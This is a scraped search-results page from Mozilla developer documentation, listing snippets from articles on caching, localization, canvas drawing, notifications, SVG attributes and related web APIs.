... tested ua/at combinations: dragon 10 with firefox 3 and ie 8 beta 2 jaws 9 & 10 with firefox 3 jaws 9 & 10 with ie beta 2 nvda 0.6p2 with firefox 3 orca with firefox 3 window-eyes 7 with ie 8 beta 2 and firefox 3 voiceover (leopard) with safari 4.0.2 zoom (leopard) with safari 4.0.2, firefox 3.x and opera 9.x zoomtext 9.1 with firefox 3 and ie 8 beta 2 test case structure test cases are organized as follows: test case links test details expected at behavior markup notes results table at firefox ie opera safari jaws 9 - - - - jaws 10 - 1.
...fail - - voiceover (leopard) n/a n/a - fail window-eyes - - - - nvda - - - - zoom (leopard) pass n/a pass pass zoomtext - - - - orca - - - - table legend - no info/test yet n/a not applicable (not supported technically) pass expected behaviour met fail expected behaviour notmet 1.
...And 98 more matches
The Implementation of the Application Object Model - Archive of obsolete content
this section makes a technical argument both for having xul in the first place and for using rdf as the underlying implementation of xul's content model.
... the second section describes the xul/rdf architecture itself and outlines enhancements to the xul language in order to allow the markup language to reference local data and to indicate how and when it would like to be annotatable with local data.
... the case for the xul/rdf approach what is xul?
...And 91 more matches
HTTP Cache
this document describes the new http cache version 2.
... the code resides in /network/cache2.
... api here is a detailed description of the http cache v2 api, examples included.
...And 90 more matches
Rendering and the WebXR frame animation callback - Web APIs
before you can render the virtual environment, you need to establish a webxr session by creating an xrsession using the navigator.xr.requestsession() method; you also need to associate the session with a framebuffer and perform other setup tasks.
... preparing the renderer once the xr session has been set up, with the webgl framebuffer connected and webgl primed with the data it needs in order to render the scene, you can set up the renderer to start running.
...once that's in hand, you request that the browser call your rendering function the next time it needs a framebuffer to render your scene.
...And 84 more matches
Localization content best practices
this document provides best practices for developers to create localizable code, and describes how to avoid some localizability (l12y) common mistakes.
... note: if you're a localizer and you want to contribute to the localization of mozilla products, you might want to read our localization quick start guide for information on localizing mozilla code.
... note on localizers mozilla localizers are volunteers with very diverse technical skills: some of them rely exclusively on translation tools, others prefer to work directly with text editors and don't have problems working with vcs systems.
...And 75 more matches
HTTP caching - HTTP
WebHTTPCaching
the performance of web sites and applications can be significantly improved by reusing previously fetched resources.
... web caches reduce latency and network traffic and thus lessen the time needed to display a representation of a resource.
... by making use of http caching, web sites become more responsive.
...And 71 more matches
Windows Media in Netscape - Archive of obsolete content
netscape 7.1 has the ability to load the microsoft® windows media player™ as an activex control, and thus developers can now build multimedia experiences that script the windows media player in netscape 7.1, just as they do in internet explorer.
... netscape 7.1 will work with both the windows media player 6.4 activex control as well as versions 7 through 9.
... this article explains how to embed the windows media player activex control in web pages to support netscape 7.1, how to control the windows media player activex control using javascript and provides working examples.
...And 68 more matches
Application Translation with Mercurial
check what is available for translation find out on which branch localization is done for your locale: read your localization team's page by clicking on the team with your language code (e.g.
...the localization lead for your language knows the branch.
... the default localization branch is aurora.
...And 67 more matches
Web Authentication API - Web APIs
the web authentication api is an extension of the credential management api that enables strong authentication with public key cryptography, enabling passwordless authentication and/or secure second-factor authentication without sms texts.
... web authentication concepts and usage the web authentication api (also referred to as webauthn) uses asymmetric (public-key) cryptography instead of passwords or sms texts for registering, authenticating, and second-factor authentication with websites.
... this resolves significant security problems related to phishing, data breaches, and attacks against sms texts or other second-factor authentication methods while at the same time significantly increasing ease of use (since users don't have to manage dozens of increasingly complicated passwords).
...And 67 more matches
Strategies for carrying out testing - Learn web development
there is no way you can test on every combination of browser and device your users might use to view your site — there are just too many, and new ones appear all the time.
... instead, you should try to make sure your site works on the most important target browsers and devices, and then code defensively to give your site the widest support reach it can be expected to have.
... the aim is to build up a chart of browsers/devices you can refer to as you test.
...And 65 more matches
Localizing with Koala
introduction this tutorial will guide you through making a couple of changes to firefox's user interface using koala, an add-on for komodo edit created to help localizing mozilla.
... for the purposes of this tutorial, the locale code that we will use will be called "x-testing".
...translating to x-testing will basically consist of converting any strings to uppercase, for example "file" in original version (en-us) will become "file" in x-testing.
...And 63 more matches
PopupNotifications.jsm
the popupnotifications.jsm javascript code module provides a popup notification box service.
... this service is used, for example, to display geolocation related notifications.
... to use this, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/popupnotifications.jsm"); once you've imported the module, you can then use the popupnotifications object it exports; this object provides methods for creating and displaying popup notification panels.
...And 62 more matches
Drawing shapes with canvas - Web APIs
« previousnext » now that we have set up our canvas environment, we can get into the details of how to draw on the canvas.
...working with paths is essential when drawing objects onto the canvas and we will see how that can be done.
... the grid before we can start drawing, we need to talk about the canvas grid or coordinate space.
...And 56 more matches
Capabilities, constraints, and settings - Web APIs
historically, writing scripts for the web that work intimately with web apis has had a well-known challenge: often, your code needs to know whether or not an api exists and if so, what its limitations are on the user agent it's running on.
... the twin concepts of constraints and capabilities let the browser and web site or app exchange information about what constrainable properties the browser's implementation supports and what values it supports for each one.
... this article discusses capabilities and constraints, as well as media settings, and includes an example we call the constraint exerciser.
...And 56 more matches
Using the Notifications API - Web APIs
the notifications api lets a web page or app send notifications that are displayed outside the page at the system level; this lets web apps send information to a user even if the application is idle or in the background.
... typically, system notifications refer to the operating system's standard notification mechanism: think for example of how a typical desktop system or mobile device broadcasts notifications.
... the system notification system will vary of course by platform and browser, but this is ok, and the notifications api is written to be general enough for compatibility with most system notification systems.
...And 56 more matches
Mozilla Application Framework in Detail - Archive of obsolete content
editor's note: this article should be rewritten to describe why use xulrunner to create your own application.
...we provide an xml-based language called xul for defining the user interface of your application.
... css is used to style these ui's and dtd's are used to localize the textual information - making your application extremely flexible and able to be utilized across the globe.
...And 53 more matches
<input type="datetime-local"> - HTML: Hypertext Markup Language
<input> elements of type datetime-local create input controls that let the user easily enter both a date and a time, including the year, month, and day as well as the time in hours and minutes.
... the control is intended to simply represent a local date and time, not necessarily the user's local date and time.
... in other words, an implementation should allow any valid combination of year, month, day, hour, and minute - even if such a combination is invalid in the user's local time zone (such as times within a daylight saving time spring-forward transition gap).
...And 53 more matches
Investigating leaks using DMD heap scan mode
firefox’s dmd heap scan mode tracks the set of all live blocks of malloc-allocated memory and their allocation stacks, and allows you to log these blocks, and the values stored in them, to a file.
... when combined with cycle collector logging, this can be used to investigate leaks of refcounted cycle collected objects, by figuring out what holds a strong reference to a leaked object.
...dmd heap scan mode is intended to be used to investigate leaks of cycle collected (cced) objects.
...And 51 more matches
Property cache
spidermonkey's property cache is an internal data structure used to speed up property accesses in the interpreter and to communicate between the interpreter and jit.
...the property cache still exists, but it is simpler now.
... spidermonkey mainly uses type inference to determine which properties are being accessed; in cases where type inference does not find the exact shape of the object being accessed, spidermonkey uses a pic (polymorphic inline caches) to store the result of the lookup.
...And 51 more matches
Using the Screen Capture API - Web APIs
in this article, we will examine how to use the screen capture api and its getdisplaymedia() method to capture part or all of a screen for streaming, recording, or sharing during a webrtc conference session.
... capturing screen contents capturing screen contents as a live mediastream is initiated by calling navigator.mediadevices.getdisplaymedia(), which returns a promise that resolves to a stream containing the live screen contents.
... starting screen capture: async/await style async function startcapture(displaymediaoptions) { let capturestream = null; try { capturestream = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } catch(err) { console.error("error: " + err); } return capturestream; } you can write this code either using an asynchronous function and the await operator, as shown above, or using the promise directly, as seen below.
...And 51 more matches
A Web PKI x509 certificate primer
x.509 (in this document referred as x509) is an itu standard to describe certificates.
...in general, x509 certificates bind a signature to a validity period, a public key, a subject, an issuer, and a set of extensions.
... the extensions define extra properties of the certificate such as extra attributes of the certificate or constraints on the use of the certificate.
...And 49 more matches
Cache - Web APIs
WebAPICache
the cache interface provides a storage mechanism for request / response object pairs that are cached, for example as part of the serviceworker life cycle.
... note that the cache interface is exposed to windowed scopes as well as workers.
... an origin can have multiple, named cache objects.
...And 49 more matches
Localization - Archive of obsolete content
the sdk supports localization of strings appearing in: your main add-on's javascript code html files packaged with your add-on the title, description and homepage fields of your add-on's metadata the title and description fields of your add-on's preferences.
... it doesn't, yet, support localization of css or content scripts, or the add-on's title and description that appear in the add-ons manager.
... localized strings translated strings are kept in a directory called "locale" under your main add-on directory, one file for each locale.
...And 47 more matches
Broadcasters and Observers - Archive of obsolete content
to do this, we can use broadcasters.
... command attribute forwarding we've already seen that elements such as buttons can be hooked up to commands.
... in addition, if you place the disabled attribute on the command element, any elements hooked up to it will also become disabled automatically.
...And 47 more matches
nsICachingChannel
netwerk/base/public/nsicachingchannel.idlscriptable please add a summary to this article.
... inherits from: nsicacheinfochannel last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface provides: support for "stream as file" semantics (for jar and plugins).
... support for "pinning" cached data in the cache (for printing and save-as).
...And 46 more matches
Web accessibility for seizures and physical reactions - Accessibility
this article introduces concepts behind making web content accessibile for those with vestibular disorders, and how to measure and prevent content leading to seizures and / or other physical reactions.
... overview seizures seizures caused by light are known as photosensitive epilepsy.
... content that flickers, flashes, or blinks can trigger photosensitive epilepsy.
...And 46 more matches
RDF Modifications - Archive of obsolete content
no extra code needs to be written to do this; it happens automatically.
... this involves a third type of observer involved in a template builder, an nsirdfobserver, used to listen for modifications to the rdf datasource.
...the template builder uses these notifcations to update the template as necessary based on the new or removed information.
...And 45 more matches
Localizing without a specialized tool
from the create a new localization document, an interested localizer can follow a technical step-by-step process that starts the localization process by focusing on how to localize two of the primary types of localization files (dtd and properties) used in the mozilla source code.
... with that document, users can see immediately two localized files in their user interface by following closely and carefully the steps to create a language pack or a binary file that is ready for installation.
... repeating the process allows a localizer to create a testable package to see his or her work as they progress to a final version.
...And 43 more matches
height - SVG: Scalable Vector Graphics
WebSVGAttributeheight
the height attribute defines the vertical length of an element in the user coordinate system.
...>, <pattern>, <rect>, <svg>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <!-- with a height of 0 or less, nothing will be rendered --> <rect y="0" x="0" width="90" height="0"/> <rect y="0" x="100" width="90" height="60"/> <rect y="0" x="200" width="90" height="100%"/> </svg> feblend for <feblend>, height defines the vertical length for the rendering area of the primitive.
... value <length> | <percentage> default value 100% animatable yes fecolormatrix for <fecolormatrix>, height defines the vertical length for the rendering area of the primitive.
...And 42 more matches
Bootstrapping a new locale
(see also https://developer.mozilla.org/en/create_a_new_localization) the documentation here is no longer being maintained and is inaccurate.
... l10n documentation has moved to https://mozilla-l10n.github.io/localizer-documentation/ .
... to learn how to bootstrap a new locale for mozilla projects, please see those documents.
...And 41 more matches
Local Storage - Archive of obsolete content
« previousnext » note: you may rather be looking for dom storage (localstorage, etc.), unless you really are doing xul development.
... it is very common for an extension to require some kind of local persistent storage.
... we recommend that you at least keep an error log, so that you can request error data from your users when you encounter problems that are hard to debug.
...And 40 more matches
Notification - Web APIs
the notification interface of the notifications api is used to configure and display desktop notifications to the user.
... these notifications' appearance and specific functionality vary across platforms but generally they provide a way to asynchronously provide information to the user.
... constructor notification() creates a new instance of the notification object.
...And 40 more matches
Building up a basic demo with the PlayCanvas engine - Game development
built for modern browsers, playcanvas is a fully-featured 3d game engine with resource loading, an entity and component system, advanced graphics manipulation, collision and physics engine (built with ammo.js), audio, and facilities to handle control inputs from various devices (including gamepads).
...if you have already worked through our building up a basic demo with three.js article (or you are familiar with other 3d libraries) you'll notice that playcanvas works on similar concepts: camera, light and objects.
... environment setup to start developing with playcanvas, you don't need much.
...And 39 more matches
nsICache
the nsicache is a namespace for various cache constants.
... netwerk/cache/public/nsicache.idlscriptable please add a summary to this article.
...access granted - you can read from this descriptor.
...And 39 more matches
Using files from web applications - Web APIs
using the file api, which was added to the dom in html5, it's now possible for web content to ask the user to select local files and then read the contents of those files.
... this selection can be done by either using an html <input type="file"> element or by drag and drop.
... if you want to use the dom file api from extensions or other browser chrome code, you can; however, note there are some additional features to be aware of.
...And 39 more matches
RTCIceCandidatePairStats - Web APIs
the webrtc rtcicecandidatepairstats dictionary reports statistics which provide insight into the quality and performance of an rtcpeerconnection while connected and configured as described by the specified pair of ice candidates.
... if a rtcstats-based object's type is candidate-pair, it's an rtcicecandidatepairstats object.
... properties rtcicecandidatepairstats is based upon rtcstats and inherits its properties.
...And 39 more matches
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
it works like typical debuggers, and is useful not only for developing extensions, but also for general web development.
... also, because it works with the javascript in extensions and firefox itself, the debugger can be a good way to learn about design methods.
... when venkman first launches, it can only debug the file currently open in your web browser.
...And 38 more matches
Cache-Control - HTTP
the cache-control http header holds directives (instructions) for caching in both requests and responses.
... header type general header forbidden header name no cors-safelisted response header yes syntax caching directives have the following rules to be valid: case-insensitive, but lowercase is recommended.
... some directives have an optional argument, which can be either a token or a quoted-string.
...And 38 more matches
Lexical grammar - JavaScript
this page describes javascript's lexical grammar.
... the source text of ecmascript scripts gets scanned from left to right and is converted into a sequence of input elements which are tokens, control characters, line terminators, comments or white space.
... u+200d zero width joiner <zwj> placed between characters that would not normally be connected in order to cause the characters to be rendered using their connected form in certain languages (wikipedia).
...And 38 more matches
Optimizing Applications For NSPR
netscape portable runtime (nspr) tries to provide a consistent level of service across the platforms it supports.
...the casual client may not encounter a need to know the details of the shortcomings to the level described here, but if and when clients become more sophisticated, these issues will certainly surface.
... multiplatform do not call any blocking system call from a local thread.
...And 36 more matches
notificationbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] the notificationbox element is used to display notifications above an element.
... typically the element will be a browser, but any element may be used.
... the notification element is used for each notification, and will be created automatically for each item.
...And 35 more matches
SVN for Localizers
welcome to the svn tutorial for localizers!
... here you'll learn the process of using svn to obtain mozilla website source files from the mozilla servers and pushing your localizations right back to them.
... first things first, we need to give you a brief introduction to what svn is and where you can find the necessary tools to get started.
...And 35 more matches
x - SVG: Scalable Vector Graphics
WebSVGAttributex
thirty seven elements are using this attribute: <altglyph>, <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fefunca>, <fefuncb>, <fefuncg>, <fefuncr>, <fegaussianblur>, <feimage>, <femerge>, <femergenode>, <femorphology>, <feoffset>, <fepointlight>, <fespecularlighting>, <fespotlight>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <glyphref>, <image>, <mask>, <pattern>, <rect>, <svg>, <text>, <tref>, <tspan>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <rect x="20" y="20" width="60" height="60" /> <rect x="120" y="20" width="60" height...
...="60" /> <rect x="220" y="20" width="60" height="60" /> </svg> altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used.
... value <length> | <percentage> default value 0% animatable yes fefunca for <fefunca>, x defines the minimum x coordinate for the rendering area of the primitive.
...And 35 more matches
y - SVG: Scalable Vector Graphics
WebSVGAttributey
thirty seven elements are using this attribute: <altglyph>, <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fefunca>, <fefuncb>, <fefuncg>, <fefuncr>, <fegaussianblur>, <feimage>, <femerge>, <femergenode>, <femorphology>, <feoffset>, <fepointlight>, <fespecularlighting>, <fespotlight>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <glyphref>, <image>, <mask>, <pattern>, <rect>, <svg>, <text>, <tref>, <tspan>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <rect y="20" x="20" width="60" height="60" /> <rect y="120" x="20" width="60" height...
...="60" /> <rect y="220" x="20" width="60" height="60" /> </svg> altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used.
... value <length> | <percentage> default value 0% animatable yes fefunca for <fefunca>, y defines the minimum y coordinate for the rendering area of the primitive.
...And 35 more matches
Mozilla-JSS JCA Provider notes
the mozilla-jss jca provider newsgroup: mozilla.dev.tech.crypto overview this document describes the jca provider shipped with jss.
...at runtime, the jre automatically verifies this signature whenever a jss class is loaded that implements a jce algorithm.
... the verification is transparent to the application (unless it fails and throws an exception).
...And 34 more matches
nsICacheEntryDescriptor
netwerk/cache/nsicacheentrydescriptor.idlscriptable this interface provides a cache entry descriptor.
... inherits from: nsicacheentryinfo last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void close(); void doom(); void doomandfailpendingrequests(in nsresult status); string getmetadataelement(in string key); void markvalid(); nsiinputstream openinputstream(in unsigned long offset); nsioutputstream openoutputstream(in unsigned long offset); void setdatasize(in unsigned long size); void setexpirationtime(in pruint32 expirationtime); void setmetadataelement(in string key, in string value); void visitmetadata(in nsicachemetadatavisitor visitor); attributes attribute type description accessgranted nscacheaccessmode get the access granted to this descriptor.
... see nsicache for the definitions of the access modes and a thorough description of their corresponding meanings.
...And 33 more matches
Basic usage of canvas - Web APIs
« previousnext » let's start this tutorial by looking at the <canvas> html element itself.
... at the end of this page, you will know how to set up a canvas 2d context and have drawn a first example in your browser.
... the <canvas> element <canvas id="tutorial" width="150" height="150"></canvas> at first sight a <canvas> looks like the <img> element, with the only clear difference being that it doesn't have the src and alt attributes.
...And 33 more matches
Paths - SVG: Scalable Vector Graphics
WebSVGTutorialPaths
it can be used to create lines, curves, arcs, and more.
...complex shapes composed only of straight lines can be created as <polyline>s.
... while <polyline>s and <path>s can create similar-looking shapes, <polyline>s require a lot of small straight lines to simulate curves, and don't scale well to larger sizes.
...And 33 more matches
Localization and Plurals
you're likely here because you're localizing a .properties file and it had a link to this page.
... this page is to help explain how to localize these strings so that the correct plural form is shown to the user.
... if you're here to make your code (e.g., extensions) localizable for plural forms, you can jump straight to developing with pluralform.
...And 32 more matches
nsICategoryManager
xpcom/components/nsicategorymanager.idlscriptable this interface provides access to a data structure that holds a list of name-value pairs, called categories, where each value is a list of strings.
... inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/categorymanager;1.
... to use this service, use: var categorymanager = components.classes["@mozilla.org/categorymanager;1"] .getservice(components.interfaces.nsicategorymanager); method overview string addcategoryentry(in string acategory, in string aentry, in string avalue, in boolean apersist, in boolean areplace); void deletecategory(in string acategory); void deletecategoryentry(in string acategory, in string aentry, in boolean apersist); nsisimpleenumerator enumeratecategories(); nsisimpleenumerator enumeratecategory(in string acategory); string getcategoryentry(in string acategory, in string aentry); methods addcategoryentry() this method sets the value for the given entry on the given category.
...And 32 more matches
nsILocalFile
xpcom/io/nsilocalfile.idlscriptable this interface adds methods to nsifile that are particular to a file that is accessible via the local file system.
... 66 introduced gecko 1.0 deprecated gecko 14 inherits from: nsifile last changed in gecko 1.0 implemented by: @mozilla.org/file/local;1.
... to create an instance, use: var localfile = components.classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsilocalfile); method overview void appendrelativenativepath(in acstring relativefilepath); native code only!
...And 32 more matches
HTTP authentication - HTTP
http provides a general framework for access control and authentication.
... this page is an introduction to the http framework for authentication, and shows how to restrict access to your server using the http "basic" schema.
... the general http authentication framework rfc 7235 defines the http authentication framework, which can be used by a server to challenge a client request, and by a client to provide authentication information.
...And 32 more matches
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
previous overview: progressive next having the ability to cache the contents of an app to work offline is a great feature.
...but instead of relying only on user actions, we can do more, using push messages and notifications to automatically re-engage and deliver new content whenever it is available.
... two apis, one goal the push api and notifications api are two separate apis, but they work well together when you want to provide engaging functionality in your app.
...And 32 more matches
href - SVG: Scalable Vector Graphics
WebSVGAttributehref
note: specifications before svg 2 defined an xlink:href attribute, which is now rendered obsolete by the href attribute.
... fifteen elements are using this attribute: <a>, <animate>, <animatemotion>, <animatetransform>, <discard>, <feimage>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, and <use> html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> in svg a for <a>, href defines the location of the referenced object, expressed as a url reference.
... the url must point to exactly one target element which is capable of being the target of the given animation element.
...And 32 more matches
Content type - SVG: Scalable Vector Graphics
where deg indicates degrees, grad indicates grads and rad indicates radians.
...in presentation attributes for all properties, whether defined in svg1.1 or in css2, the angle identifier, if specified, must be in lower case.
... the unit identifiers in such <angle> values must be in lower case.
...And 31 more matches
User Notifications and Alerts - Archive of obsolete content
« previousnext » it is often the case that extensions need to notify users about important events, often requiring some response.
...they interrupt the user's workflow, demanding immediate action before anything else can be done.
... the notificationbox element you have probably seen these before.
...And 30 more matches
xptcall FAQ
what is xptcall?
... xptcall is a small low level xpcom method call library.
...it is used to facilitate cross language and cross thread method calls.
...And 30 more matches
Pixel manipulation with canvas - Web APIs
« previousnext » until now we haven't looked at the actual pixels of our canvas.
... with the imagedata object you can directly read and write a data array to manipulate pixel data.
... we will also look into how image smoothing (anti-aliasing) can be controlled and how to save images from your canvas.
...And 30 more matches
JS_SetGCCallback
specify a new callback function for the garbage collector.
... syntax void js_setgccallback(jsruntime *rt, jsgccallback cb, void *data); jsgccallback js_setgccallback(jscontext *cx, jsgccallback cb); // obsolete since jsapi 13 jsgccallback js_setgccallbackrt(jsruntime *rt, jsgccallback cb); // obsolete since jsapi 13 name type description cx jscontext * (for the old js_setgccallback) any jscontext.
... the gc callback of the associated jsruntime is set.
...And 29 more matches
LocalFileSystem - Web APIs
the localfilesystem interface of the file system api gives you access to a sandboxed file system.
... creating new storage you request access to a sandboxed file system by calling window.requestfilesystem().
... the argument of a successful callback is the filesystem object, which has two properties: the name and root of the file system.
...And 29 more matches
Request.cache - Web APIs
WebAPIRequestcache
the cache read-only property of the request interface contains the cache mode of the request.
... it controls how the request will interact with the browser's http cache.
... syntax var currentcachemode = request.cache; value a requestcache value.
...And 29 more matches
ARIA: application role - Accessibility
the application role indicates to assistive technologies that an element and all of its children should be treated similar to a desktop application, and no traditional html interpretation techniques should be used.
... this role should only be used to define very dynamic and desktop-like web applications.
... <div role="application">...</div> this defines this div element and all of its descendants to be treated like they are part of a desktop application.
...And 29 more matches
Adding captions and subtitles to HTML5 video - Developer guides
this article will take the same player and show how to add captions and subtitles to it, using the webvtt format and the <track> element.
... captioned video example in this article, we will refer to the video player with captions example.
... note: you can find the source on github, and also view the example live.
...And 29 more matches
try...catch - JavaScript
the try...catch statement marks a block of statements to try and specifies a response should an exception be thrown.
... syntax try { try_statements } [catch (exception_var_1 if condition_1) { // non-standard catch_statements_1 }] ...
... [catch (exception_var_2) { catch_statements_2 }] [finally { finally_statements }] try_statements the statements to be executed.
...And 29 more matches
How can we design for all types of users? - Learn web development
objective: universal design means design for everybody, regardless of disabilities or technical constraints.
... summary when you're building a website, one top issue to consider is universal design: accommodating all users regardless of disability, technical constraints, culture, location, and so on.
... the w3c defines a good color mix with an algorithm that calculates luminosity ratio between foreground and background.
...And 28 more matches
CacheStorage - Web APIs
the cachestorage interface represents the storage for cache objects.
... the interface: provides a master directory of all the named caches that can be accessed by a serviceworker or other type of worker or window scope (you’re not limited to only using it with service workers, even though the service workers spec defines it).
... note: chrome and safari only expose `cachestorage` to the windowed context over https.
...And 28 more matches
xlink:href - SVG: Scalable Vector Graphics
e>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, and <use>} html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a xlink:href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> a for <a>, xlink:href defines the location of the referenced object.
... if the reference is to an <altglyphdef> element, then if an appropriate set of alternate glyphs is located from processing the <altglyphdef> element, then those alternate glyphs are rendered instead of the characters that are inside of the <altglyph> element.
... the value must point to exactly one target element which is capable of being the target of the given animation.
...And 27 more matches
Call Tree - Firefox Developer Tools
the call tree tells you which javascript functions the browser spent the most time in.
... by analyzing its results, you can find bottlenecks in your code - places where the browser is spending a disproportionately large amount of time.
... these bottlenecks are the places where any optimizations you can make will have the biggest impact.
...And 26 more matches
Canvas API - Web APIs
the canvas api provides a means for drawing graphics via javascript and the html <canvas> element.
... among other things, it can be used for animation, game graphics, data visualization, photo manipulation, and real-time video processing.
... the canvas api largely focuses on 2d graphics.
...And 26 more matches
HTMLCanvasElement - Web APIs
the htmlcanvaselement interface provides properties and methods for manipulating the layout and presentation of <canvas> elements.
... the htmlcanvaselement interface also inherits the properties and methods of the htmlelement interface.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
...And 26 more matches
RTCIceCandidate - Web APIs
the rtcicecandidate interface—part of the webrtc api—represents a candidate internet connectivity establishment (ice) configuration which may be used to establish an rtcpeerconnection.
... an ice candidate describes the protocols and routing needed for webrtc to be able to communicate with a remote device.
... when starting a webrtc peer connection, typically a number of candidates are proposed by each end of the connection, until they mutually agree upon one which describes the connection they decide will be best.
...And 26 more matches
Localizations and character encodings - Developer guides
the html specification recommends the use of the utf-8 encoding (which can represent all of unicode) and regardless of the encoding used requires web content to declare what encoding was used.
... to specify that a page is using, for example, the utf-8 character encoding (as per the recommendation), simply place the following line in the <head> block: <meta charset="utf-8"> details and browser internals when the encoding is declared by web content like the html specification requires, firefox will use that encoding for turning the bytes into the internal representation.
...for most locales, the fallback encoding is windows-1252 (often called iso-8859-1), which was the encoding emitted by most windows applications in the 1990s and a superset of the encoding emitted by most unix applications in the 1990s as a deployed in the america has and in western europe.
...And 26 more matches
Large-Allocation - HTTP
the non-standard large-allocation response header tells the browser that the page being loaded is going to want to perform a large allocation.
... webassembly or asm.js applications can use large contiguous blocks of allocated memory.
... for complex games, for example, these allocations can be quite large, sometimes as large as 1gb.
...And 26 more matches
List of Mozilla-Based Applications - Archive of obsolete content
the following is a list of all known active applications that are built using mozilla technologies.
... a list of former mozilla-based applications is also available.
...nagement system uses xul and xpcom aicpcu/iia exam app exam delivery software aliwal geocoder geocoding & data on a map amarok xul remote remote control for amarok music player ample sdk javascript gui-framework aol instant messenger im client uses nss apache web server doesn't use nss by default, but can be configured to use nss with mod_nss ssl module apicawatch site performance monitoring tool uses firefox as part of its monitoring package astyle css editor editing tool atmail webmail client aviva for java mainframe connectivity product uses mozilla rhino babelgum internet tv service basilisk pre-servo xu...
...And 25 more matches
Localization - Archive of obsolete content
xul and xml provide entities which are a convenient way of allowing localization.
... entities many applications are built such that translating the interface into a different language is as simple as possible.
...instead of hard-coding text directly into an application, each piece of text is only a reference into the string table.
...And 25 more matches
Allocations - Firefox Developer Tools
the allocations view in the performance tool shows you which functions in your page are allocating the most memory over the course of the profile.
... for performance this is important mostly because allocating a lot of memory, or making a lot of allocations, can trigger garbage collection.
... this in turn can hurt the responsiveness of a page.
...And 25 more matches
Web Push API Notifications best practices - Web APIs
this article provides a useful summary of best practices to keep in mind when developing web sites and applications that use push notifications for user engagement.
... “if done well, it's nice to have, but if not done well, it's really annoying.” — overheard conversation between two browser developers discussing the ethics of push notifications.
... overview of web push notifications web push notifications (created using a combination of the notifications, push, and service worker apis) are part of the rising noise that product developers and marketers are using to get attention for their sites.
...And 25 more matches
RTCPeerConnection.setLocalDescription() - Web APIs
the rtcpeerconnection method setlocaldescription() changes the local description associated with the connection.
... this description specifies the properties of the local end of the connection, including the media format.
... if setlocaldescription() is called while a connection is already in place, it means renegotiation is underway (possibly to adapt to changing network conditions).
...And 25 more matches
ServiceWorkerRegistration.showNotification() - Web APIs
the shownotification() method of the serviceworkerregistration interface creates a notification on an active service worker.
... syntax ​serviceworkerregistration.shownotification(title, [options]); parameters title the title that must be shown within the notification options optional an object that allows configuring the notification.
... it can have the following properties: actions: an array of actions to display in the notification.
...And 25 more matches
Observer Notifications - Archive of obsolete content
you could do that by calling all those functions directly, but xpcom offers you a better and cleaner way to achieve that using observers and the observer service.
... an observer is an object that is responsible to observe (wait for) notifications and then to carry out subsequent actions.
...the first parameter (subject) can be any xpcom object, the second parameter is a notification topic, and the final parameter is a string that further describes the notification.
...And 24 more matches
nsICacheService
netwerk/cache/public/nsicacheservice.idlscriptable handles visiting and evicting entries operations along with the creating of cache sessions and creation of temporary client ids operations for offline caching.
... 66 introduced gecko 1.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface is no longer supported and planned to be removed soon: use nsicachestorageservice instead.
... at the time of writing there is no documentation for nsicachestorageservice but comments are available in the source.
...And 24 more matches
Using the Media Capabilities API - Web APIs
the media capabilities api provides several key features to help you better decide how to handle media, but also to determine how well media is being handled, in real time.
...with the media capabilities api, you can determine not just if the browser can support a given format, but whether or not it can do so efficiently and smoothly.
... in short, this api replaces—and improves upon—the mediasource method istypesupported() or the htmlmediaelement method canplaytype().
...And 24 more matches
Content categories - Developer guides
every html element is a member of one or more content categories — these categories group elements that share common characteristics.
... this is a loose grouping (it doesn't actually create a relationship among elements of these categories), but they help define and describe the categories' shared behavior and their associated rules, especially when you come upon their intricate details.
... it's also possible for elements to not be a member of any of these categories.
...And 24 more matches
Localizing with Mercurial
in mozilla, we use the the mercurial version control system (hg) to manage our source code and localizations.
